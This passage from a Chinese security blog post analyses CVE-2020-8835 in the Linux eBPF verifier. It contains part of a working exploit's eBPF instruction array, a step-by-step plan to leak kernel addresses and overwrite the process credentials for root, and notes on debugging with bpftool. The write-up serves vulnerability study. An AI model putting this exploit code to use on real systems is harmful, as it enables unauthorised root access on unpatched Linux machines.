                BPF_LD_MAP_FD(BPF_REG_9,exp_mapfd),			// r9 = exp_mapfd
                BPF_MAP_GET_ADDR(0,BPF_REG_7),
                BPF_ALU64_REG(BPF_SUB,BPF_REG_7,BPF_REG_8), // r7 = r7-r8 = r7-0x110

                BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_7,0),    // r7 = &exp_value[0]-0x110 , 获得array_map_ops的地址 —— 泄露内核基址
                BPF_STX_MEM(BPF_DW,BPF_REG_6,BPF_REG_0,0x10), // leak *(&exp_value[0]-0x110)

                BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_7,0xc0), // leak *(&exp_value[0]-0x110+0xc0) wait_list —— 泄露 exp_value 基址
                BPF_STX_MEM(BPF_DW,BPF_REG_6,BPF_REG_0,0x18), // 泄露 wait_list保存的地址,该地址指向自身,所以此处用于泄露exp_map的地址
                BPF_ALU64_IMM(BPF_ADD,BPF_REG_0,0x50), // r0 = &exp_map[0],计算前r0和r7的值相同,但为什么用r0计算,因为r0是map中的数据,而r7是指针,不能往map中写指针
        // &ctrl[0]+0x8 -> op
                BPF_LDX_MEM(BPF_DW,BPF_REG_8,BPF_REG_6,0x8),  // r8 = op
                BPF_JMP_IMM(BPF_JNE, BPF_REG_8, 1, 4),

                BPF_STX_MEM(BPF_DW,BPF_REG_7,BPF_REG_0,0), // r7=&exp_value[0]-0x110,即&exp_map[0]
                BPF_ST_MEM(BPF_W,BPF_REG_7,0x18,BPF_MAP_TYPE_STACK),//map type
                BPF_ST_MEM(BPF_W,BPF_REG_7,0x24,-1),// max_entries
                BPF_ST_MEM(BPF_W,BPF_REG_7,0x2c,0x0), //lock_off

                BPF_MOV64_IMM(BPF_REG_0,0x0),
                BPF_EXIT_INSN(),

        };

利用的整体思路:

  1. 通过漏洞,使得传进来的偏移r8检查时为0,而实际为0x110
  2. 将&exp_value[0]-0x110,获得exp_map的地址,exp_map[0] 保存着array_map_ops的地址,可以用于泄露内核地址
  3. &exp_value[0]-0x110+0xc0(wait_list)处保存着指向自身的地址,用于泄露exp_value的地址
  4. 利用任意读查找init_pid_ns结构地址
  5. 利用进程pid和init_pid_ns结构地址获取当前进程的task_struct
  6. 在exp_value上填充伪造的array_map_ops
  7. 修改 map 的一些字段绕过一些检查
  8. 调用 bpf_update_elem任意写内存
  9. 修改进程task_struct 的cred进行提权。

多核提权

2-exp_multi_core

单核提权

针对单核机器,可以通过per_cpu_offset + current_task来查找当前进程的task_struct,通过任意读获取task_struct的comm字段,匹配是否为你运行的进程。该方法适用于单核机器,并且有一定概率会crash。

3-exp_single_core


四、调试技巧

编译选项:打开内核的debug info,编辑.config 打开所有BPF_***,打开CONFIG_BPF_SYSCALL

调试:主要调试的代码位于kernel/bpf/verifier.c中,可以根据源代码,利用b kernel/bpf/verifier.c:行数的方式下断点。

打印内核中载入的eBPF程序:可以将内核源码复制到镜像中,然后在虚拟机中进入tools/bpf/bpftool目录下,执行make,编译出bpftool

# ./bpftool p s会显示出内核中载入的eBPF程序的id等信息
$ ./bpftool p s
5: socket_filter  tag 31bce63e92f471c4  gpl
    loaded_at 2020-04-17T03:31:44+0000  uid 1000
    xlated 88B  jited 89B  memlock 4096B
# ./bpftool p d x i id可以打印出具体的eBPF程序
$ ./bpftool p d x i 5
   0: (b7) r0 = 808464432
   1: (7f) r0 >>= r0
   2: (14) w0 -= 808464432
   3: (07) r0 += 808464432
   4: (b7) r1 = 808464432
   5: (de) if w1 s<= w0 goto pc+0
   6: (07) r0 += -2144337872
   7: (14) w0 -= -1607454672
   8: (76) if w0 s>= 0x303030 goto pc+1
   9: (05) goto pc-1
  10: (95) exit

参考:

先知社区de4dcr0w—— CVE-2020-8835 pwn2own 2020 ebpf 通过任意读写提权分析

安全客——CVE-2020-8835:Linux eBPF模块verifier组件漏洞分析

安全客rtfingc——https://www.anquanke.com/post/id/203416

360——CVE-2020-8835: Linux Kernel 信息泄漏/权限提升漏洞分析

posted on 2020-12-11 22:02  bsauce  阅读(1936)  评论(0编辑  收藏  举报